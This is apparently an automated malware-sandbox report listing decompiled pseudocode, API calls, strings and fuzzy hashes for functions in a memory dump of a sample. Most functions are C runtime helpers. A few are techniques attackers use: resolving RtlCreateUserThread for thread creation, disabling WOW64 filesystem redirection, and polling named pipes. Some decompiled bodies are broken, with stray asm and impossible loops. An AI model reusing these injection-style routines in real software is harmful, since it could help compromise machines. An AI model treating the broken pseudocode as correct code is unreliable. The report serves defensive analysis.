				}
				E008764C8(__ebx, __edi, 4);
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t13 = E008764FB(_t24);
				 *((intOrPtr*)(_t26 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t24);
					_push(_t13);
					E0087652B();
				}
				 *(_t26 - 4) = 0xfffffffe;
				_t8 = E008747CE();
				if( *((intOrPtr*)(_t26 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t26 + 8)));
					goto L7;
				}
			}

0x00874778
0x0087477a
0x0087477f
0x00874784
0x00874789
0x00874800
0x00874805
0x00874805
0x00874792
0x008747d7
0x008747d8
0x008747e0
0x008747e6
0x008747e8
0x008747ea
0x008747fd
0x008747ff
0x00000000
0x008747e8
0x00874796
0x0087479c
0x008747a1
0x008747a7
0x008747ac
0x008747ae
0x008747af
0x008747b0
0x008747b6
0x008747b7
0x008747be
0x008747c7
0x00000000
0x008747c9
0x008747c9
0x00000000
0x008747c9

APIs

__lock.LIBCMT ref: 00874796

Part of subcall function 008764C8: __mtinitlocknum.LIBCMT ref: 008764DE
Part of subcall function 008764C8: __amsg_exit.LIBCMT ref: 008764EA
Part of subcall function 008764C8: EnterCriticalSection.KERNEL32(00000000,00000000,?,00879775,0000000D,0088F730,00000008,0087986C,00000000,?,008760FA,00000000,?,?,?,0087615D), ref: 008764F2

___sbh_find_block.LIBCMT ref: 008747A1
___sbh_free_block.LIBCMT ref: 008747B0
HeapFree.KERNEL32(00000000,00000000,0088F5A8,0000000C,008796BB,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C), ref: 008747E0
GetLastError.KERNEL32(?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3,00000000,00000000,?,00879775,0000000D), ref: 008747F1

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: b6b1e1b2aad8a2b2dde7a27d417f191150ae87f09e2a154928783ba24ed57682
Instruction ID: d5346afb5d9b84e68fcc68e3ef5b5949d165bd9c40e25de5f3f474b15c40f464
Opcode Fuzzy Hash: b6b1e1b2aad8a2b2dde7a27d417f191150ae87f09e2a154928783ba24ed57682
Instruction Fuzzy Hash: D801A231808619AADB247FB8AC0A75D3B64FF02765F20D115F42CEA19ADB34C950CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00865F04, Relevance: 7.5, APIs: 5, Instructions: 40
sleeppipeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00865F04(void* __ecx, void* _a4, intOrPtr _a8) {
				long _v8;
				void* _t7;
				void* _t18;

				_t18 = GetTickCount() + _a8;
				if(GetTickCount() >= _t18) {
					L5:
					_t7 = 0;
				} else {
					while(PeekNamedPipe(_a4, 0, 0, 0,  &_v8, 0) != 0) {
						if(_v8 > 0) {
							_t7 = 1;
						} else {
							Sleep(0xa);
							if(GetTickCount() < _t18) {
								continue;
							} else {
								goto L5;
							}
						}
						goto L6;
					}
					goto L5;
				}
				L6:
				return _t7;
			}

0x00865f15
0x00865f1c
0x00865f48
0x00865f48
0x00865f1e
0x00865f20
0x00865f38
0x00865f51
0x00865f3a
0x00865f3c
0x00865f46
0x00000000
0x00000000
0x00000000
0x00000000
0x00865f46
0x00000000
0x00865f38
0x00000000
0x00865f20
0x00865f4a
0x00865f4e

APIs

GetTickCount.KERNEL32 ref: 00865F11
GetTickCount.KERNEL32 ref: 00865F18
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00865F2B
Sleep.KERNEL32(0000000A), ref: 00865F3C
GetTickCount.KERNEL32 ref: 00865F42

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 9d9026ef621ad9047b21516155cf5694c74eb63890f6eed6cea4c38d3bdc8e2a
Instruction ID: 5679652bdef5cb01211d2c170d938cd7b9203dff8616a0e2b53859fe59ab8cd0
Opcode Fuzzy Hash: 9d9026ef621ad9047b21516155cf5694c74eb63890f6eed6cea4c38d3bdc8e2a
Instruction Fuzzy Hash: 0DF0A07261491CBFEB016BA8DCC58BE77ADFB44794B350472F502E2050EAB0DD419BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0086A7A3, Relevance: 7.5, APIs: 5, Instructions: 32
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086A7A3(void* __eflags) {
				void* _t1;
				void* _t7;
				void* _t8;

				_t7 = 0x37;
				_t1 = E00869F52(_t7);
				_t8 = 0x27;
				if(_t1 == 1) {
					if(E00869F52(_t8) != 1) {
						ExitThread(0);
					}
					L2:
					Sleep(0x3e8);
					goto L2;
				}
				if(E00869F52(_t8) != 1) {
					ExitProcess(0);
				}
				return WaitForSingleObject(CreateThread(0, 0, __imp__ExitProcess, 0, 0, 0), 0xffffffff);
			}

0x0086a7a5
0x0086a7a6
0x0086a7ad
0x0086a7b2
0x0086a7bd
0x0086a7ce
0x0086a7ce
0x0086a7bf
0x0086a7c4
0x00000000
0x0086a7c4
0x0086a7dd
0x0086a7fe
0x0086a7fe
0x0086a7fb

APIs

Sleep.KERNEL32(000003E8,008615D4,?,?,?,00000000,00000100,00000000,00000100,?,?,?), ref: 0086A7C4
ExitThread.KERNEL32 ref: 0086A7CE
CreateThread.KERNEL32 ref: 0086A7EE
WaitForSingleObject.KERNEL32(00000000,?,?,?,00000000,00000100,00000000,00000100,?,?,?), ref: 0086A7F5
ExitProcess.KERNEL32 ref: 0086A7FE

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ExitThread$CreateObjectProcessSingleSleepWait
String ID:
API String ID: 1356740933-0
Opcode ID: 56a3b5975c85418cd12cd44a56970e7df4ac21b37cd77f41e5f0d04bdc482bf2
Instruction ID: bebb74d83dad8aeaddadd19e7c93df205e2052dbf0057ff70dfb790cb1bce89e
Opcode Fuzzy Hash: 56a3b5975c85418cd12cd44a56970e7df4ac21b37cd77f41e5f0d04bdc482bf2
Instruction Fuzzy Hash: 17F03078508111AAEE15377CED4DBB93A3CFB10722F624120F995D44D0CE69C8C25B22

Uniqueness

Uniqueness Score: -1.00%

Function 00867B44, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00867B44(intOrPtr __esi, void* __eflags) {
				void* __edi;
				void* _t163;
				intOrPtr* _t179;
				intOrPtr _t187;
				intOrPtr _t190;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t196;

				L0:
				while(1) {
					_t196 = __eflags;
					_t190 = __esi;
					E0087C290(0x400, _t192 + 0x34, 0, 0x400);
					E008668FB(_t192 + 0x44, _t196, _t192 + 0x2c, 0x400);
					_t193 = _t192 + 0x14;
					if( *((intOrPtr*)(_t193 + 0x18)) == 0) {
						goto L40;
					}
					L36:
					__eax =  *((intOrPtr*)(__esp + 0x18));
					_t113 = __eax + 1; // 0x1
					__edx = _t113;
					do {
						L37:
						__cl =  *__eax;
						__eax = __eax + 1;
						__eflags = __cl;
					} while (__cl != 0);
					__eax = __eax - __edx;
					__eflags = __eax;
					if(__eax == 0) {
						goto L40;
					} else {
						L39:
						_push( *((intOrPtr*)(__esp + 0x18)));
						__ebx =  *((intOrPtr*)(__ebp + 0xc));
						__eax = E008749A6(__edi, __esi,  *((intOrPtr*)(__ebx + 0x1c)), __edi, "%s%s\r\n",  *__ebx);
						 *((intOrPtr*)(__esp + 0x30)) = 1;
					}
					L41:
					_t187 =  *_t179;
					while(1) {
						L46:
						_t194 = _t193 + 0x14;
						L47:
						asm("les edx, [ebx+ecx*4]");
						while(1) {
							L48:
							_t190 =  *((intOrPtr*)(_t179 + 0x1c));
							L49:
							asm("sbb al, 0xb9");
						}
					}
					L40:
					_push(_t193 + 0x30);
					_t163 = E008749A6(0x400, _t190,  *((intOrPtr*)( *((intOrPtr*)(_t191 + 0xc)) + 0x1c)), 0x400, "%s%s\r\n",  *((intOrPtr*)( *((intOrPtr*)(_t191 + 0xc)))));
					_t179 =  *((intOrPtr*)(_t191 + 0xc));
					goto L41;
				}
			}

0x00867b44
0x00867b44
0x00867b44
0x00867b44
0x00867b4c
0x00867b5b
0x00867b60
0x00867b68
0x00000000
0x00000000
0x00867b6a
0x00867b6a
0x00867b6e
0x00867b6e
0x00867b71
0x00867b71
0x00867b71
0x00867b73
0x00867b74
0x00867b74
0x00867b78
0x00867b78
0x00867b7a
0x00000000
0x00867b7c
0x00867b7c
0x00867b7c
0x00867b80
0x00867b8e
0x00867b93
0x00867b93
0x00867bb8
0x00867bb8
0x00867c23
0x00867c23
0x00867c23
0x00867c24
0x00867c24
0x00867c26
0x00867c26
0x00867c26
0x00867c28
0x00867c28
0x00867c28
0x00867c26
0x00867b9d
0x00867ba1
0x00867bb0
0x00867bb5
0x00000000
0x00867bb5

APIs

_memset.LIBCMT ref: 00867B4C
__snprintf.LIBCMT ref: 00867B8E
__snprintf.LIBCMT ref: 00867BB0

Strings

%s%s, xrefs: 00867B85, 00867BA7

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __snprintf$_memset
String ID: %s%s
API String ID: 444161222-3438391663
Opcode ID: 54e0b6234d49ad8dfcf63bf6566ce96ecaa391dd42274f3846ee2a202653aaba
Instruction ID: e6111d6c8e63fec78612f54209f6cb6908983a68bbd335aa5f10fff09399a4a3
Opcode Fuzzy Hash: 54e0b6234d49ad8dfcf63bf6566ce96ecaa391dd42274f3846ee2a202653aaba
Instruction Fuzzy Hash: 2D01C071108309ABCB01EF14C885E873BA5FBC9318F158468BA88CB266E331D905CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0086A1F8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E0086A1F8(void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr* _t5;
				intOrPtr* _t8;
				void* _t9;
				char _t13;
				intOrPtr _t14;

				_t16 = __esi;
				E0087C290(__edi, __esi, 0, 0x100);
				_t21 = _a4;
				if(_a4 != 0) {
					_t5 = E0086318D(_t9, GetCurrentProcess());
					_push(1);
					__eflags = _t5;
					if(__eflags != 0) {
						L2:
						return E0086A160(_t21);
					}
					_push(__esi);
					E0086A160(__eflags);
					_t8 = E00874920(__esi, "syswow64");
					__eflags = _t8;
					if(_t8 == 0) {
						return _t8;
					} else {
						_t13 = "system32"; // 0x74737973
						 *_t8 = _t13;
						_t14 =  *0x88d56c; // 0x32336d65
						 *((intOrPtr*)(_t8 + 4)) = _t14;
						return _t8;
					}
				}
				_push(0);
				goto L2;
			}

0x0086a1f8
0x0086a203
0x0086a20b
0x0086a20f
0x0086a224
0x0086a22a
0x0086a22c
0x0086a22e
0x0086a213
0x00000000
0x0086a21a
0x0086a230
0x0086a231
0x0086a23c
0x0086a244
0x0086a246
0x0086a21c
0x0086a248
0x0086a248
0x0086a24e
0x0086a250
0x0086a256
0x0086a25a
0x0086a25a
0x0086a246
0x0086a211
0x00000000

APIs

_memset.LIBCMT ref: 0086A203
GetCurrentProcess.KERNEL32(0086A273), ref: 0086A21D

Part of subcall function 0086A160: _memset.LIBCMT ref: 0086A17A
Part of subcall function 0086A160: __snprintf.LIBCMT ref: 0086A1D9

Strings

system32, xrefs: 0086A248
syswow64, xrefs: 0086A236

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _memset$CurrentProcess__snprintf
String ID: system32$syswow64
API String ID: 3270679572-3098820961
Opcode ID: 10159c0b592767c1b8094d422e14e23767fc005f4216a3e9e2c50a510a52aa87
Instruction ID: e4894b6029f73571ea1fe1ba07f31276cd1cd4da022399eb35158e83a1badf9e
Opcode Fuzzy Hash: 10159c0b592767c1b8094d422e14e23767fc005f4216a3e9e2c50a510a52aa87
Instruction Fuzzy Hash: CDF082316843046AE6196758BC17F6A3758FF02714F11401AFA09EB3C3FA76A9418A5B

Uniqueness

Uniqueness Score: -1.00%

Function 0086530C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0086530C(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _v16;
				_Unknown_base(*)()* _t11;

				_v8 = 0;
				_t11 = GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateUserThread");
				if(_t11 == 0) {
					return 0;
				}
				 *_t11(_a4, 0, 0, 0, 0, 0, _a8, _a12,  &_v8,  &_v16);
				return 0 | _v8 != 0x00000000;
			}

0x0086531f
0x00865329
0x00865331
0x00000000
0x00865358
0x00865349
0x00000000

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,RtlCreateUserThread,00000000,00000000,00000000,00864D09,?,?,?,?,?,?,?,00000000,?,00864D09), ref: 00865322
GetProcAddress.KERNEL32(00000000), ref: 00865329

Strings

RtlCreateUserThread, xrefs: 00865313
ntdll.dll, xrefs: 0086531A

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: 4191bc13918beaf6c755888f5ede785e1ad2f24c39555cd6aae9f1f06e914041
Instruction ID: 878791b29193ebc853bc3575ce881d5c42179c7009a4a7f00fe0c8519bea614e
Opcode Fuzzy Hash: 4191bc13918beaf6c755888f5ede785e1ad2f24c39555cd6aae9f1f06e914041
Instruction Fuzzy Hash: 25F08532901218BBCB11EFA09D0AC9EBF38FA00A50B114414F81A92290E6B49A10EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00867AB5, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00867AB5(intOrPtr __esi, void* __eflags) {
				void* __edi;
				char* _t161;
				void* _t162;
				intOrPtr _t178;
				intOrPtr _t187;
				intOrPtr _t190;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t196;

				L0:
				while(1) {
					_t196 = __eflags;
					_t190 = __esi;
					E0087C290(0x400, _t192 + 0x34, 0, 0x400);
					E008668FB(_t192 + 0x44, _t196, _t192 + 0x2c, 0x400);
					_t178 =  *((intOrPtr*)(_t191 + 0xc));
					_t161 =  *((intOrPtr*)(_t178 + 4));
					_t193 = _t192 + 0x14;
					if( *_t161 != 0) {
						goto L33;
					}
					L32:
					E008749A6(__edi, __esi,  *((intOrPtr*)(__ebx + 0x1c)), __edi, "?%s", __esp + 0x30);
					while(1) {
						L22:
						_t187 =  *((intOrPtr*)(_t178 + 4));
						while(1) {
							L48:
							_t190 =  *((intOrPtr*)(_t178 + 0x1c));
							L49:
							asm("sbb al, 0xb9");
						}
					}
					L33:
					_push(_t193 + 0x30);
					_push(_t161);
					_push("%s&%s");
					L20:
					_push(0x400);
					_push( *((intOrPtr*)(_t178 + 0x1c)));
					_t162 = E008749A6(0x400, _t190);
					_t194 = _t193 + 0x14;
					L22:
					_t187 =  *((intOrPtr*)(_t178 + 4));
					while(1) {
						L48:
						_t190 =  *((intOrPtr*)(_t178 + 0x1c));
						goto L49;
					}
				}
			}

0x00867ab5
0x00867ab5
0x00867ab5
0x00867ab5
0x00867abd
0x00867acc
0x00867ad1
0x00867ad4
0x00867ad7
0x00867add
0x00000000
0x00000000
0x00867adf
0x00867aed
0x008679ef
0x008679ef
0x008679ef
0x00867c26
0x00867c26
0x00867c26
0x00867c28
0x00867c28
0x00867c28
0x00867c26
0x00867afa
0x00867afe
0x00867aff
0x00867b00
0x008679ca
0x008679ca
0x008679cb
0x008679ce
0x008679d3
0x008679ef
0x008679ef
0x00867c26
0x00867c26
0x00867c26
0x00000000
0x00867c26
0x00867c26

APIs

_memset.LIBCMT ref: 00867ABD
__snprintf.LIBCMT ref: 00867AED

Strings

%s&%s, xrefs: 00867B00
?%s, xrefs: 00867AE4

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __snprintf_memset
String ID: %s&%s$?%s
API String ID: 2657849664-1750478248
Opcode ID: 170281f6ac6b5bf7d8fca36544fea8a1f1335a2a4a1a2fa0b9aa035206c7591b
Instruction ID: 79ca1c783c109b7d334b8899fb48813d83f5b28511147a05a933d1c8d0c968f0
Opcode Fuzzy Hash: 170281f6ac6b5bf7d8fca36544fea8a1f1335a2a4a1a2fa0b9aa035206c7591b
Instruction Fuzzy Hash: 42F08C72508348BFD750EA58CD82F6B77ACFB95704F414419FA49C6192E264EA118772

Uniqueness

Uniqueness Score: -1.00%

Function 0086318D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0086318D(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t7;
				void* _t9;

				_v8 = _v8 & 0x00000000;
				_t7 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t7 == 0) {
					L3:
					return _v8;
				} else {
					_t9 =  *_t7(_a4,  &_v8);
					if(_t9 != 0) {
						goto L3;
					} else {
						return _t9;
					}
				}
			}

0x00863191
0x008631a6
0x008631ae
0x008631bf
0x008631c3
0x008631b0
0x008631b7
0x008631bb
0x00000000
0x008631be
0x008631be
0x008631be
0x008631bb

APIs

GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,0086668C), ref: 0086319F
GetProcAddress.KERNEL32(00000000), ref: 008631A6

Strings

kernel32, xrefs: 0086319A
IsWow64Process, xrefs: 00863195

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
Opcode ID: 58487bd1eb1c6f05817000a467117d85310eb755c76e3f201f5588ce1524fd5e
Instruction ID: 5a0593175e890b7cbbe510f82e9a75018c86bdeedf84db878c8ce057c1c57882
Opcode Fuzzy Hash: 58487bd1eb1c6f05817000a467117d85310eb755c76e3f201f5588ce1524fd5e
Instruction Fuzzy Hash: 32E0B674650209BBEF10DBA9DD0AA5976B9FB4078DB200058B412E2590EAB4EB049714

Uniqueness

Uniqueness Score: -1.00%

Function 0086424E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0086424E(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;

				_t3 = GetProcAddress(GetModuleHandleA("kernel32"), "Wow64DisableWow64FsRedirection");
				if(_t3 != 0) {
					return  *_t3(_a4);
				}
				return _t3;
			}

0x00864262
0x0086426a
0x00000000
0x0086426f
0x00864272

APIs

GetModuleHandleA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,?,00862B10,?), ref: 0086425B
GetProcAddress.KERNEL32(00000000), ref: 00864262

Strings

Wow64DisableWow64FsRedirection, xrefs: 00864251
kernel32, xrefs: 00864256

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 1646373207-736604160
Opcode ID: 93a36f0ce57182b82e95d49fed99db20eaf3ec5b82444271186e035a733901f7
Instruction ID: e07752e0e3c3843e06d1b4082cf1a7345847d5a1c23ac6c456fd08424ec868b0
Opcode Fuzzy Hash: 93a36f0ce57182b82e95d49fed99db20eaf3ec5b82444271186e035a733901f7
Instruction Fuzzy Hash: B2C01234288308BBEE002BE9AD1DE193B2CFE00A443200011B928D1AA0EE65D5008760

Uniqueness

Uniqueness Score: -1.00%

Function 00864273, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00864273(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;

				_t3 = GetProcAddress(GetModuleHandleA("kernel32"), "Wow64RevertWow64FsRedirection");
				if(_t3 != 0) {
					return  *_t3(_a4);
				}
				return _t3;
			}

0x00864287
0x0086428f
0x00000000
0x00864294
0x00864297

APIs

GetModuleHandleA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,?,00862B2F,?,00000000,00000002), ref: 00864280
GetProcAddress.KERNEL32(00000000), ref: 00864287

Strings

Wow64RevertWow64FsRedirection, xrefs: 00864276
kernel32, xrefs: 0086427B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 1646373207-3900151262
Opcode ID: cbfdbf6cdb38c114955cb7c76f195ce8bddeaaa0e3ffa42b36a34ecd6adab6b4
Instruction ID: 10d4655f2913971ad4ae24685828f92ab4b019bcdd4494d107a540c8173e8855
Opcode Fuzzy Hash: cbfdbf6cdb38c114955cb7c76f195ce8bddeaaa0e3ffa42b36a34ecd6adab6b4
Instruction Fuzzy Hash: 3CC01230248308BBAE106FEAAD0DD093B6CFA00A813101010B828C1AA1EA66D41087A4

Uniqueness

Uniqueness Score: -1.00%

Function 00863AD8, Relevance: 6.1, APIs: 4, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00863AD8(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				CHAR* _v8;
				intOrPtr _v12;
				CHAR* _v16;
				intOrPtr _v28;
				char _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t40;
				void* _t43;
				void* _t60;
				void* _t66;
				CHAR* _t67;
				void* _t75;
				long _t76;
				void* _t78;
				long _t80;
				void* _t81;
				intOrPtr* _t82;
				intOrPtr* _t84;
				void* _t91;

				_t75 = __edx;
				_t29 = E00866769(_t66, __eflags, 0x1000);
				_t77 = _t29;
				_t76 = 0x800;
				_v12 = _t29;
				_t67 = E00866857(_t29, 0x800);
				_v8 = _t67;
				_v16 = E00866857(_t77, 0x800);
				E008667D0( &_v36, _a4, _a8);
				_t82 = _t81 + 0x1c;
				E008668AD( &_v36, _t67, 0x800);
				 *_t82 = "rb";
				_push(_t67);
				_t68 = E008752E8();
				if(_t68 == 0xffffffff) {
					L11:
					E00861EAE(0x28, _v8);
					L12:
					return E008667A9(_t68, _t76, _t77, _t94);
				}
				_t90 = _t68;
				if(_t68 == 0) {
					goto L11;
				}
				_push(2);
				_push(0);
				_push(_t68);
				E00875CB3(_t68, _t75, 0x800, _t77, _t90);
				_push(_t68);
				_t40 = E00875922(_t68, _t75, 0x800, _t77, _t90);
				_push(0);
				_push(0);
				_push(_t68);
				_v28 = _t40;
				_t78 = _t75;
				E00875CB3(_t68, _t75, 0x800, _t78, _t90);
				_t84 = _t82 + 0x18;
				_t43 = _v28 + 0xffffffff;
				asm("adc esi, 0xffffffff");
				_t91 = _t78;
				if(_t91 > 0 || _t91 >= 0 && _t43 > 0xfffffffe) {
					_push(_v8);
					_push(0x3c);
					goto L10;
				} else {
					_t80 = GetFullPathNameA(_v8, _t76, _v16, 0);
					if(_t80 == 0) {
						L8:
						_push(_v8);
						_push(0x3d);
						L10:
						E00861EAE();
						E008667A9(_t68, _t76, _v12, __eflags);
						_push(_t68);
						return E0087555A(_t68, _t75, _t76, _v12, __eflags);
					}
					_t94 = _t80 - _t76;
					if(_t80 > _t76) {
						goto L8;
					}
					_t76 = E00874855(_t68, _t75, _t76, 0x10);
					 *0x897614 =  *0x897614 + 1;
					 *_t76 =  *0x897614;
					 *(_t76 + 0xc) =  *0x897610;
					 *((intOrPtr*)(_t76 + 8)) = _t68;
					_t68 = _v28;
					 *_t84 = 0x1000;
					_push( &_v36);
					 *((intOrPtr*)(_t76 + 4)) = _v28;
					 *0x897610 = _t76;
					E008615DB(_v28, _t94);
					E0086162B( &_v36,  &_v36,  *_t76);
					E0086162B( &_v36,  &_v36, _t68);
					E0086164C( &_v36, _v16, _t80);
					_t60 = E008616E0( &_v36);
					E008612CF(_t68, E008616DD( &_v36), _t60, 2);
					E008616BD(_t68,  &_v36);
					_t77 = _v12;
					goto L12;
				}
			}

0x00863ad8
0x00863ae6
0x00863aec
0x00863aee
0x00863af5
0x00863afd
0x00863b01
0x00863b0c
0x00863b16
0x00863b1b
0x00863b22
0x00863b27
0x00863b2e
0x00863b34
0x00863b3b
0x00863c5c
0x00863c61
0x00863c67
0x00000000
0x00863c68
0x00863b41
0x00863b43
0x00000000
0x00000000
0x00863b49
0x00863b4b
0x00863b4d
0x00863b4e
0x00863b56
0x00863b57
0x00863b5d
0x00863b5f
0x00863b61
0x00863b62
0x00863b65
0x00863b67
0x00863b6f
0x00863b72
0x00863b75
0x00863b78
0x00863b7a
0x00863c3f
0x00863c42
0x00000000
0x00863b8b
0x00863b9a
0x00863b9e
0x00863c38
0x00863c38
0x00863c3b
0x00863c44
0x00863c44
0x00863c4c
0x00863c51
0x00000000
0x00863c57
0x00863ba4
0x00863ba6
0x00000000
0x00000000
0x00863bb3
0x00863bba
0x00863bc0
0x00863bc7
0x00863bca
0x00863bcd
0x00863bd3
0x00863bda
0x00863bdb
0x00863bde
0x00863be4
0x00863bef
0x00863bf9
0x00863c06
0x00863c13
0x00863c22
0x00863c2e
0x00863c33
0x00000000
0x00863c33

APIs

Part of subcall function 00866769: _malloc.LIBCMT ref: 0086676F
Part of subcall function 00866769: _malloc.LIBCMT ref: 0086677F
Part of subcall function 00866769: _memset.LIBCMT ref: 00866791

Part of subcall function 008752E8: __fsopen.LIBCMT ref: 008752F5

_fseek.LIBCMT ref: 00863B4E

Part of subcall function 00875922: __lock_file.LIBCMT ref: 00875931
Part of subcall function 00875922: __ftelli64_nolock.LIBCMT ref: 0087593E

_fseek.LIBCMT ref: 00863B67

Part of subcall function 00875CB3: __lock_file.LIBCMT ref: 00875CFE
Part of subcall function 00875CB3: __fseek_nolock.LIBCMT ref: 00875D0E

GetFullPathNameA.KERNEL32(0088D6D4,00000800,?,00000000,?,?,?,?,?,?,?,?,?,?,?,008614E3), ref: 00863B94
_malloc.LIBCMT ref: 00863BAE

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock_memset
String ID:
API String ID: 1432155907-0
Opcode ID: 1ad7af1c98fb67f2e80078baa4c1158819b84ddafe80b985b0ad998b623e47bf
Instruction ID: f9259d35acf494c6bb00356e20713bb07a774974199a69fc034958a37360b5f6
Opcode Fuzzy Hash: 1ad7af1c98fb67f2e80078baa4c1158819b84ddafe80b985b0ad998b623e47bf
Instruction Fuzzy Hash: 3341D672D00208ABDF01BBA8DC86F9EB7B8FF18714F154525F514F7292EB749A148B92

Uniqueness

Uniqueness Score: -1.00%

Function 008752FF, Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E008752FF(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0087749E(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
